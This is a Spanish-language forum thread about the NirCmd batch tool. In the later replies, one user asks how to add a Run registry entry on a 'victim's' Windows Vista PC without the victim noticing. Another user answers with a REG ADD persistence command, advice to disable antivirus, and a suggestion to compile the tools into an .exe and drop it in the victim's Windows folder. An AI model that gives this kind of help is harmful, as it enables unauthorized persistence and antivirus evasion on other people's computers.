PD : Gracias a lukhardy que me ha ayudado con Netsend!
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Rodrihack

buena aportacion   ;D
pero esta largo deberias de resumirlo  >:D

Crazy.sx

La verdad que quedó bastante bien tu aporte, a pesar de que yo hace un tiempo hice una publicación acerca del uso de este pequeño y muy buen software aunque solo me tomé la molestia de hacer un pequeño ejemplo.

El batch puede que tenga algunas limitaciones, pero es entretenido  :P. Pero con una imaginación es posible poder hacer lo que queramos. Jeje

Sirve, excelente publicación.
Destruir K. LOL

leogtz

Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

mimolo

rockos y luhardy o como seaaaaaaaaaaaaa

los felicito..........
1  pero tengo una inquietud por favor...........
estoy creando un bat que me adicione una cadena en el registro en el popular RUN.  para que mi programa cada que inicie windows me borre DEL todos los TMP temporales... yo eso lo se pero
mi pregunata es por que mi win vista 32bit, me dice ACCESO DENEGADO. como le hago el truco para metermele al registro hummmmm

2   o con este NIRCMD se salta la seguridad del vista y deja add en el registro?

3   o como lo compacto o lo uno con un bat como dicen ustedes?

leogtz

#6
Hola Mimolo, mira yo nunca probe el Nircmd en Vista, pero creo que tu problema se debe a que no tienes los suficientes privilegios para hacer la edicion del registro.

Y otra es que tu Antivirus esta detectando a Nircmd como aplicacion potencialmente no deseada, dado el poder que tiene Nircmd.
Panda Scanner Online

Incidencia: Herramienta potencialmente no deseada:Application/NirCmd.A
Estado: No desinfectado
Elemento : C:\WINDOWS\nircmd.exe

Asi que prueba desactivando tu AV y prueba asi, y tambien consulta como tener privilegios sobre el registro.

O si no prueba con REG ADD, para añadir un valor en RUN.
REG ADD :
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v TUBAT /t REG_SZ /d "c:\Mibat.bat"
No se como sera el comando REG en Vista, pero me imagino que ha de ser muy similar o igual.

Saludos.

Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

mimolo

HOLA ROCKKKKKKKKKK
mira nircmd el vista o el nod32 actualizado no me lo reconocen como un prog peligroso...
al contrario practique lo de la pagina de arranque de internet explorer y funciono me adiciono esos valores. cuando iva aponer una clave en el RUN de hklm...... no me niega nada se ejecuta normal pero abro el regedit y no se adiciono nada..... pero hago una clave en otro lado y si se crean.

y con el msdos de winvista normal pero el reg add no me permite adicionas valores al registro sale ACCESO DENEGADO........ no existe una forma con batch para meter un dato al registro.....
por que entonces un virus necesita estar en el RUN y si win no lo deja entonces que???????
como hummmmmmmmm el tipico reg add taratarataratarat en vista no va..... y eso de desavilitar el av o el antivirus no va por que entonces tengo que tocar el pc de la victima y eso es imposible o muy lammer........

mimolo

si no me equivoco el nircmd debe estar instalado en el pc de la victima noooooo si es asi no va es casi....imposible...... seria como ir a media noche e instalarlo en silencio..... para esa gracia enciendo el pc de la victima a porrazosssssssssss......es broma eyyyyyyyyyy
verdad no hay alguna formita de adicionar algo al registro de winvista sin que se de cuenta o no te as preguntado como entonces los programas como nod32 y otros se meten al run de hklm.

leogtz

Si mimolo si te entiendo lo que me quieres decir y todo, lo del Acceso denegado son cuestiones de privilegios que tienes en la maquina, y pues si la victima tendria que tener Nircmd, eso se soluciona, compilando todo a un .exe. y Dejandolo en el directorio de Windows de la victima.

Consulta los privilegios de edicion de Registro (Ya estoy igual que Microsoft  :-X)
JAJA bueno, pues eso es todo.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com